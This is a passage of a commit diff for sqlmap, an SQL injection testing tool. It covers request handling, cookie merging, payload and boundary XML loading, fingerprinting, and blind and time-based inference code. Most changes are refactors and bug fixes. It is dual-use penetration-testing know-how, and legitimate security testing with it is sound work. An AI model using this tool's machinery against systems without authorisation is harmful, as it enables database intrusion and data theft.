"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
}
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
value = headers[header]
xmlfile = kb.headerPaths[header]
handler = FingerprintHandler(value, kb.headersFp)
parseXmlFile(xmlfile, handler)
parseXmlFile(paths.GENERIC_XML, handler)

View File

@@ -9,6 +9,7 @@ import re
from xml.sax.handler import ContentHandler
from lib.core.common import urldecode
from lib.core.common import parseXmlFile
from lib.core.data import kb
from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
self._dbms = None
self._page = (page or "")
self._lower_page = self._page.lower()
self._urldecoded_page = urldecode(self._page)
self.dbms = None
@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower()
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms
self._markAsErrorPage()

View File

@@ -36,7 +36,7 @@ def cleanupVals(text, tag):
return text
def parseXmlNode(node):
for element in node.getiterator('boundary'):
for element in node.getiterator("boundary"):
boundary = AttribDict()
for child in element.getchildren():
@@ -48,7 +48,7 @@ def parseXmlNode(node):
conf.boundaries.append(boundary)
for element in node.getiterator('test'):
for element in node.getiterator("test"):
test = AttribDict()
for child in element.getchildren():
@@ -78,7 +78,7 @@ def loadBoundaries():
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
root = doc.getroot()
parseXmlNode(root)
@@ -93,7 +93,7 @@ def loadPayloads():
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
root = doc.getroot()
parseXmlNode(root)

View File

@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
except httplib.InvalidURL:
errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException, errMsg
raise SqlmapSyntaxException(errMsg)
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag:

View File

@@ -35,7 +35,6 @@ from lib.core.enums import PLACE
from lib.core.exception import SqlmapCompressionException
from lib.core.settings import BLOCKED_IP_REGEX
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX
@@ -61,7 +60,7 @@ def forgeHeaders(items=None, base=None):
if items[_] is None:
del items[_]
headers = OrderedDict(base or conf.httpHeaders)
headers = OrderedDict(conf.httpHeaders if base is None else base)
headers.update(items.items())
class _str(str):
@@ -110,7 +109,9 @@ def forgeHeaders(items=None, base=None):
kb.mergeCookies = readInput(message, default='Y', boolean=True)
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
def _(value):
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters:
@@ -161,7 +162,7 @@ def checkCharEncoding(encoding, warn=True):
return encoding
# Reference: http://www.destructor.de/charsets/index.htm
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
for delimiter in (';', ',', '('):
if delimiter in encoding:
@@ -218,10 +219,6 @@ def checkCharEncoding(encoding, warn=True):
try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError):
if warn:
warnMsg = "unknown web page charset '%s'. " % encoding
warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
encoding = None
if encoding:
@@ -332,7 +329,7 @@ def decodePage(page, contentEncoding, contentType):
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
@@ -388,7 +385,7 @@ def processResponse(page, responseHeaders, status=None):
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
kb.browserVerification = True

View File

@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
self.retried_count = 0
else:
if self.retried_count > 5:
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
headers, None)
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
else:
self.retried_count += 1
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
self, auth_header, host, req, headers)
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)

View File

@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
if kb.heavilyDynamic:
seq1 = seq1.split("\n")
seq2 = seq2.split("\n")
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
ratio = round(seqMatcher.quick_ratio(), 3)
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content

View File

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
import binascii
import compiler
import httplib
import json
import keyword
import logging
import re
@@ -34,6 +33,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import checkSameHost
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import escapeJsonValue
from lib.core.common import evaluateCode
from lib.core.common import extractRegexResult
from lib.core.common import findMultipartPostBoundary
@@ -63,6 +63,7 @@ from lib.core.common import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import AUTH_TYPE
@@ -118,7 +119,6 @@ from lib.request.methodrequest import MethodRequest
from thirdparty.odict.odict import OrderedDict
from thirdparty.socks.socks import ProxyError
class Connect(object):
"""
This class defines methods used to perform HTTP requests
@@ -187,13 +187,13 @@ class Connect(object):
if not kb.dnsMode and conn:
headers = conn.info()
if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "large compressed response detected. Disabling compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
else:
while True:
if not conn:
@@ -241,27 +241,27 @@ class Connect(object):
kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter
url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None)
post = kwargs.get("post", None)
method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent
referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", None)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False)
url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None)
post = kwargs.get("post", None)
method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent
referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", None)
silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False)
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False)
checking = kwargs.get("checking", False)
skipRead = kwargs.get("skipRead", False)
refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False)
checking = kwargs.get("checking", False)
skipRead = kwargs.get("skipRead", False)
if multipart:
post = multipart
@@ -346,7 +346,7 @@ class Connect(object):
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers:
cookie = headers[HTTP_HEADER.COOKIE]
@@ -407,8 +407,10 @@ class Connect(object):
ws.close()
code = ws.status
status = httplib.responses[code]
class _(dict):
pass
responseHeaders = _(ws.getheaders())
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
@@ -428,8 +430,10 @@ class Connect(object):
method = unicodeencode(method)
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
elif url is not None:
req = urllib2.Request(url, post, headers)
else:
return None, None, None
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
@@ -479,15 +483,14 @@ class Connect(object):
# Get HTTP response
if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect._connReadProxy(conn)) if not skipRead else None
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect._connReadProxy(conn) if not skipRead else None
if conn:
code = conn.code
code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
else:
@@ -495,7 +498,7 @@ class Connect(object):
responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
status = getUnicode(conn.msg) if conn else None
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0
@@ -578,7 +581,7 @@ class Connect(object):
page = page if isinstance(page, unicode) else getUnicode(page)
code = ex.code
status = getUnicode(ex.msg)
status = getSafeExString(ex)
kb.originalCode = kb.originalCode or code
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
@@ -642,13 +645,6 @@ class Connect(object):
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg:
if not conf.disablePrecon:
singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
conf.disablePrecon = True
if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
kb.responseTimes.clear()
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
kb.droppingRequests = True
@@ -684,6 +680,9 @@ class Connect(object):
status = re.search(r"Handshake status ([\d]{3})", tbMsg)
errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
raise SqlmapConnectionException(errMsg)
elif "SqlmapCompressionException" in tbMsg:
warnMsg = "problems with response (de)compression"
retrying = True
else:
warnMsg = "unable to connect to the target URL"
@@ -719,7 +718,7 @@ class Connect(object):
else:
logger.debug(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
elif kb.testMode or kb.multiThreadMode:
logger.critical(warnMsg)
return None, None, None
else:
@@ -738,10 +737,10 @@ class Connect(object):
if conn and getattr(conn, "redurl", None):
_ = urlparse.urlsplit(conn.redurl)
_ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
if kb.resendPostOnRedirect is False:
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg)
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg)
requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg)
@@ -766,7 +765,8 @@ class Connect(object):
return page, responseHeaders, code
@staticmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
@stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
"""
This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -813,7 +813,7 @@ class Connect(object):
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload:
if kb.tamperFunctions:
if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions:
try:
payload = function(payload=payload, headers=auxHeaders)
@@ -837,16 +837,10 @@ class Connect(object):
# with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;")
elif kb.postHint == POST_HINT.JSON:
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = escapeJsonValue(payload)
elif kb.postHint == POST_HINT.JSON_LIKE:
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
if payload.startswith('"') and payload.endswith('"'):
payload = json.dumps(payload[1:-1])
else:
payload = json.dumps(payload)[1:-1]
payload = escapeJsonValue(payload)
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
value = agent.replacePayload(value, payload)
else:
@@ -862,7 +856,9 @@ class Connect(object):
skip = True
if not skip:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below
if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
value = urlencode(value, spaceplus=kb.postSpaceToPlus)
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
value = agent.replacePayload(value, payload)
postUrlEncode = False
@@ -932,9 +928,9 @@ class Connect(object):
if value and place == PLACE.CUSTOM_HEADER:
if value.split(',')[0].capitalize() == PLACE.COOKIE:
cookie = value.split(',', 1)[1]
cookie = value.split(',', 1)[-1]
else:
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue):
@@ -981,7 +977,7 @@ class Connect(object):
if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException, errMsg
raise SqlmapTokenException(errMsg)
if token:
token = token.strip("'\"")
@@ -1039,7 +1035,7 @@ class Connect(object):
name = safeVariableNaming(name)
elif name in keywords:
name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
variables[name] = value
if cookie:
@@ -1109,33 +1105,33 @@ class Connect(object):
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
if re.search(r"<%s\b" % re.escape(name), post):
found = True
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
elif re.search(r"\b%s>" % re.escape(name), post):
found = True
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
if not found and re.search(regex, (post or "")):
found = True
post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
if not found and re.search(regex, (post or "")):
found = True
post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
if re.search(regex, (get or "")):
found = True
get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)
if re.search(regex, (query or "")):
found = True
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")):
found = True
cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
if not found:
if post is not None:
@@ -1166,7 +1162,7 @@ class Connect(object):
singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
warnMsg += "larger statistical model, please wait"
warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of")
dataToStdout(warnMsg)
while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
@@ -1239,8 +1235,10 @@ class Connect(object):
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondOrder:
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq:
page, headers, code = Connect.getPage(url=kb.secondReq[0], post=kb.secondReq[2], method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
@@ -1261,7 +1259,11 @@ class Connect(object):
page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
if message:
kb.permissionFlag = True
singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
if content or response:
return page, headers, code
@@ -1271,5 +1273,5 @@ class Connect(object):
else:
return comparison(page, headers, code, getRatioValue, pageLength)
def setHTTPHandlers(): # Cross-linked function
def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError

View File

@@ -12,6 +12,7 @@ import socket
import urllib2
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -48,7 +49,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
try:
sock = create_sock()

View File

@@ -33,6 +33,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
@@ -76,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
value = _goDns(payload, expression)
if payload is None:
return None
if value is not None:
return value
@@ -175,10 +179,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
# forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
if limitCond:
@@ -336,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False):
return output
@stackedmethod
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
"""
Called each time sqlmap inject a SQL query on the SQL injection
@@ -438,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME

View File

@@ -9,6 +9,8 @@ import httplib
import urllib2
from lib.core.data import conf
from lib.core.common import getSafeExString
from lib.core.exception import SqlmapConnectionException
class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
return self.do_open(self.getConnection, req)
def getConnection(self, host, timeout=None):
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
try:
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
except IOError, ex:
errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)

View File

@@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler):
urllib2.install_opener(opener)
# create Request and set Range header
req = urllib2.Request('http://www.python.org/')
req = urllib2.Request('https://www.python.org/')
req.header['Range'] = 'bytes=30-50'
f = urllib2.urlopen(req)
"""

View File

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import time
import types
import urllib2
@@ -124,12 +123,21 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
if headers and HTTP_HEADER.SET_COOKIE in headers:
cookies = dict()
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
_ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
if HTTP_HEADER.COOKIE not in req.headers:
req.headers[HTTP_HEADER.COOKIE] = _
else:
req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
last = None
for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE):
if '=' in part:
part = part.strip()
key, value = part.split('=', 1)
cookies[key] = value
last = key
elif last:
cookies[last] += "%s%s" % (delimiter, part)
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
try:
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
except urllib2.HTTPError, e:

View File

@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
retVal = kb.pageTemplates[(payload, place)]
return retVal

View File

@@ -27,7 +27,6 @@ from lib.takeover.udf import UDF
